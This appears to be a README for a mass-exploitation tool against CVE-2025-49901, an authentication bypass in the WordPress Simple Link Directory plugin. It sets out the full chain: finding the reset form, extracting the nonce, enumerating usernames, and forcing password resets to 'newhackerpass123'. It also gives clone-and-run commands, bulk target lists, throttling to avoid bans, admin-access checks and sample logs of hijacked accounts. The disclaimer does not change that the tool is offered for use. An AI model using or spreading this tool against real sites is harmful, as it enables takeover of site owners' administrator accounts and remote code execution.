WordPress Simple Link Directory 插件 < 14.8.1 存在高优先级的认证失效（Broken Authentication）漏洞
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Authentication Bypass → Password Reset → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
qc-opd 密码重置表单暴露在 SLD 页面上，接受用户名和新密码，而无需通过任何令牌、电子邮件确认或权限检查来验证用户身份。未经认证的攻击者可以枚举 WordPress 用户名，为任意账户提交重置表单，并立即使用注入的密码进行身份验证——无需目标用户进行任何交互即可获得管理员访问权限。
┌─────────────────────────────────────────────────────────┐
│ 1. Locate SLD reset page │
│ Probe 28+ paths → match: "sld" + "_wpnonce" + form │
│ │
│ 2. Extract nonce │
│ Parse _wpnonce from HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerate usernames │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reset password for each username │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verify access (dual mode) │
│ Session mode → cookie check + /wp-admin/ probes │
│ Password mode → wp-login.php + admin panel check │
│ │
│ 6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
目标列表文件 → list.txt （每行一个主机）
线程数 → 默认 5
HTTP 超时 → 默认 10 秒
每用户延迟 最小/最大 → 防封禁节流（默认 0.3 / 0.7 秒）
站点间延迟 → 默认 1.0 秒
输出文件 → scan_results/reset_mass_success.txt
目标格式：
https://target1.com
target2.com
http://target3.com/wordpress
所有重置操作注入的固定密码：
newhackerpass123
| 方法 | 端点 |
|---|---|
| 作者重定向 | /?author=1 → /?author=10 |
每次重置尝试后，该工具都会使用两种独立方法验证访问权限：
Session mode → checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode → full wp-login.php POST + multi-path admin panel probe
检查的管理员指示器：
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · 已在 14.8.1 中修复
| CVE | CVE-2025-49901 |
| CVSS | 9.8 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 插件 | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| 受影响版本 | 所有版本 < 14.8.1 |
| 认证 | 无需认证 |
| 类型 | 通过替代路径绕过认证（CWE-288） |
| CWE | CWE-288 · 使用替代路径或通道绕过认证 |
| REST API |
/wp-json/wp/v2/users |
| 主机名 | 域名的首标签作为后备 |
| 硬编码 | 始终包含 admin |